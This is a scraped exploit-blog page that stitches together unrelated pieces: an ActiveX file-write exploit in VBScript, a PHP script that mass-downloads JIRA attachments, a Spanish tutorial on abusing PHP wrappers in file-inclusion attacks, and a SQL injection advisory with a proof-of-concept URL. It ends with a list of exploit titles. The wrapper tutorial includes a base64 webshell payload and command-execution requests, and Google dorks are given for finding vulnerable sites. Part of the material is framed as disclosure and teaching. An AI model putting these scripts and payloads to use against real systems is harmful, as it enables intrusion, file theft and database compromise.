source: https://www.securityfocus.com/bid/48483/info
CygniCon CyViewer ActiveX control is prone to a vulnerability caused by an insecure method.
Successfully exploiting this issue will allow attackers to create or overwrite files within the context of the affected application (typically Internet Explorer) that uses the ActiveX control. Attackers may execute arbitrary code with user-level privileges.
<html>
<object classid='clsid:A6FC2988-16BE-4053-BE89-F562431FD6ED' id='target' /></object>
<input language=VBScript onclick=Boom() type=button value="Exploit">
<script language = 'vbscript'>
Sub Boom()
arg1="FilePath\Filename_to_create"
arg2="Data"
target.SaveData arg1 ,arg2
End Sub
</script>
</html>
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863117929
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
source: https://www.securityfocus.com/bid/48484/info
Atlassian JIRA is prone to a security bypass vulnerability.
An attacker can exploit this issue to download arbitrary attachment files within the context of the affected application.
<?php
/*If it's a https, you MUST especify it on the URL or it won't work.
Try using numbers that you get from your results in google otherwise
you will get a lot of 404*/
echo "\n#########################################################
###################
# \n#Attachment downloader by Ignacio Garrido\n#";
if ($argc != 4){echo "
#Usage: php Scuarji.php vulnsite FROM(NUMBER) TO(NUMBER)\n#
#Dork: inurl:/jira/secure/attachment/\n#
#Example: php Scuarji.php http://www.vulnsite/jira/secure/attachment/
1 12310371#
############################################################################\n";die;}
else{
echo "\n#Let's start!\n";
echo "#\n#Ign.sec@Gmail.com\n";
#\n############################################################################\n";}
$url2 = $argv[1];
if (substr($url2,0,7) != "http://" && substr($url2,0,8) != "https://")
{
$url = ("http://".$url2);
}
else
{
$url = $argv[1];
}
if ($argv[2] >= $argv[3])
{
echo "\n\n#The second number must be bigger than the first one\n";
die;
}
$numero = $argv[2];
for ($numero;$numero <= $argv[3];$numero++)
{
$head = get_headers("$url$numero/");
if (substr ($head[0],9,3) == "404")
{
echo "\n#File number $numero not found! (404)\n";
}
else{
$explodeo = explode("filename*=",$head[2]);
$explodeo2 = explode(";",$explodeo[1]);
$archivo = substr($explodeo2[0],7);
echo "\n#Downloading file: $archivo\n";
$file=file_get_contents("$url$numero/$archivo");
file_put_contents($archivo,$file);
}
}
echo "\n#All attachment downloaded correctly!\n";
die;
?>
En el caso de que tratemos con archivos PHP, existe un concepto que son los llamados PHP Wrappers. Un wrapper es una especie de envoltura que le dice al Stream (secuencia, petición, entrada/salida de datos) como actuar.
Esta característica de PHP es muy útil en ataques como el LFI y el XXE, gracias a esto, podemos obtener alguna que otra ventaja que de otra forma no tendríamos.
El concepto de wrapper quedará más claro cuando lo veamos ahora.
Índice:
- php://filter
- zip://
- data://
- php://input
- expect://
- Referencias
php://filter
El Wrapper filter nos permite encodear el archivo que le especifiquemos, esto es muy útil, ya que nos permite poder leer archivos PHP que en otro caso, el navegador simplemente interpretaría directamente.
Por ejemplo, tenemos el siguiente archivo:

Como vemos, tiene una contraseña en un comentario. Pero si nosotros accedemos al archivo desde la web:

Solo vemos la salida del código interpretado 😥. Sin embargo, usando el wrapper filter, seremos capaces de leer el archivo PHP al completo.
Para probar el wrapper, he creado un LFI en un archivo index.php. Por lo que, en este LFI, el payload que introduciremos para hacer uso del wrapper y leer el archivo secret.php, será el siguiente:
- php://filter/convert.base64-encode/resource=<archivo>

De esta forma, estamos leyendo el archivo secret.php pero en base64, por lo que si decodeamos esta salida:

Obtenemos el archivo al completo. Un detalle curioso sobre los wrappers es que podemos concatenar varios a través del uso de un pipe |
o un slash /
. Ejemplo:


Y obtenemos exactamente el mismo resultado.
Además de poder encodear en base64, podemos aplicar ROT13 con la siguiente cadena:
- php://filter/read=string.rot13/resource=<archivo>
Aunque este en concreto no sirve para leer archivos PHP:

Pero si aplica para otro tipo de archivos:

En conclusión, referente a este wrapper, tenemos los dos siguientes payloads:
- php://filter/convert.base64-encode/resource=<archivo>
- php://filter/read=string.rot13/resource=<archivo>
zip://
El wrapper zip nos permite ejecutar un php que hayamos metido dentro de un archivo zip. Incluso no hace falta que el archivo zip tenga como extensión zip, sino que puede tener cualquiera.
Este wrapper no está instalado por defecto, pero se puede instalar con el siguiente comando:
- sudo apt install phpX.Y-zip
Donde X e Y, es la versión PHP que tengamos instalada o a la que queramos instalarle esta característica.
Ejemplo de ejecución de webshell a través de este wrapper:

Payload:
- zip://<archivo zip>%23<archivo php>
En <archivo zip>, si no se encontrase en el directorio actual, se le especificaría el directorio donde se encontrase el archivo y listo.
Nota: en caso de que el archivo PHP fuese una webshell o esperase algún parámetro, se le agregaría con un ampersand como vemos en la siguiente imagen.

E incluso cambiando la extensión del zip, seguirá funcionando:


data://
El wrapper data nos permite incluir datos externos, incluido código PHP. Este wrapper solo funciona si la opción allow_url_include está activada en la configuración de PHP (la opción equivalente a un Remote File Inclusion).
Ejecutar código PHP con este wrapper es bastante sencillo, podemos hacerlo de dos formas:
- En texto plano
- En base 64
En texto plano, simplemente tendríamos que usar el siguiente payload:
- data:text/plain,<código PHP>
Ejemplo:

De cara a hacerlo usando base64, simplemente tendríamos que encodear el código PHP:

Y colocarlo en el wrapper tal que:
- data://text/plain;base64,<código PHP en base64>
- data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=
De esta forma, como estamos definiendo un parámetro para ejecutar comandos, el payload para por ejemplo ejecutar el comando id sería:
- data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=&cmd=id
Ejemplo:

php://input
Este wrapper es parecido al de arriba (data). Se puede usar para incluir código PHP. Su requisito al igual que el wrapper data es que la opción allow_url_include de la configuración de PHP debe de estar habilitada.
Con esto hecho, se podría ejecutar comandos mandando el código PHP en los datos de una petición POST. Ejemplo:
- curl -s -X POST -d ‘<código PHP>’ ‘http://example.com/index.php?file=php://input’

En este caso, la salida del comando la podemos ver en la respuesta.
expect://
El wrapper expect no está instalado por defecto, pero en el caso de que lo esté, permite ejecutar directamente comandos de la siguiente forma:
- expect://<comando>
Esto ocurre porque este wrapper da acceso a una PTY (pseudo-teletype), que en UNIX básicamente se refiere a una terminal. Da acceso tanto al STDIN, STDOUT como STDERR.
Conclusión PHP Wrappers
Como hemos podido ver, esta característica de PHP es muy útil en muchas ocasiones, ya que nos puede ayudar conseguir acciones que de una u otra forma no podríamos. Es bastante útil hacer uso de ellas cuando estamos ante vulnerabilidades como el Local File Inclusion (LFI) o el XML External Entity (XXE), o realmente en cualquier caso donde veamos que tenemos la capacidad de usarlas.
Referencias
- What do pty and tty mean?
- expect://
- File Inclusion / Directory Traversal – HackTheBox Academy
Document Title:
===============
Mangallam CMS - SQL Injection Web Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1421
Release Date:
=============
2015-01-26
Vulnerability Laboratory ID (VL-ID):
====================================
1421
Common Vulnerability Scoring System:
====================================
8.9
Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a remote SQL-Injection web vulnerability in the official Mangallam Content Management System 2015-Q1.
Vulnerability Disclosure Timeline:
==================================
2015-01-26: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Critical
Technical Details & Description:
================================
A remote sql injection web vulnerability has been discovered in the official Mangallam Content Management System 2015-Q1.
The sql vulnerability allows an attacker to inject sql commands to compromise the application & database management system.
The sql injection vulnerability is located in the `newsid` value of the vulnerable `news_view.php` application file. Remote attackers
are able to inject own sql commands by manipulation of the vulnerable newsid value in the `news_view.php` file. A successful attack
requires to manipulate a GET method request with vulnerable `newsid` value to inject own sql commands. The injection is a classic
order by sql injection that allows to compromise the web-application and connected database management system. The request method to
inject own sql commands is GET and the vulnerability is located on the application-side of the service.
The security risk of the sql injection vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 8.9.
Exploitation of the application-side web vulnerability requires no privileged web-application user account and no user interaction.
Successful exploitation of the security vulnerability result in web-application and database management system compromise.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] News
Vulnerable File(s):
[+] news_view.php
Vulnerable Parameter(s):
[+] newsid
Proof of Concept (PoC):
=======================
The remote sql injection web vulnerability can be exploited by remote attackers without privileged application user account or user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.
Dork(s):
allinurl:news_view.php?newsid=
title:Powered By Powered by Mangallam
PoC:
http://localhost:8080/news_view.php?newsid=-1'[REMOTE SQL-INJECTION VULNERABILITY!]--
Reference(s):
http://localhost:8080/news_view.php
Solution - Fix & Patch:
=======================
The remote vulnerability can be patched by usage of a prepared statement next to the newsid GET method request.
Restrict and filter the newsid value and disallow input of special chars. Prevent disaplaying of php errors by usage of the (0)error (php) function.
Security Risk:
==============
The security risk of the remote sql injection web vulnerability in the content management system is estimated as critical.
Credits & Authors:
==================
IranGuard Security Team - P0!s0nC0d3
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable
in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab
or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses,
policies, deface websites, hack into databases or trade with fraud/stolen material.
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.
Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™
--
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com
CONTACT: research@vulnerability-lab.com
PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt

Barracuda Networks Cloud Series - Filter Bypass
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

VideoLAN VLC Media Player 2.1.5 - Write Access Violation
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

PHP Webquest 2.6 - SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

jclassifiedsmanager - Multiple Vulnerabilities
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Symantec Data Center Security - Multiple Vulnerabilities
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

iMesh 10.0 - 'IMWebControl.dll' ActiveX Control Buffer Overflow
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Paliz Portal - Cross-Site Scripting / Multiple SQL Injections
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

eTAWASOL - 'id' SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

VideoLAN VLC Media Player 2.1.5 - DEP Access Violation
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

SWFupload 2.5.0 - Cross Frame Scripting (XFS)
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

- Read more...
- 0 comments
- 1 view

Android WiFi-Direct - Denial of Service
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

ferretCMS 1.0.4-alpha - Multiple Vulnerabilities
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

D-Link DSL-2740R - Remote DNS Change
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

NetBSD 5.1 - 'libc/net' Multiple Stack Buffer Overflows
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

Joomla! Component com_jr_tfb - 'Controller' Local File Inclusion
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view

ClearSCADA - Remote Authentication Bypass
HACKER · %s · %s
- Read more...
- 0 comments
- 1 view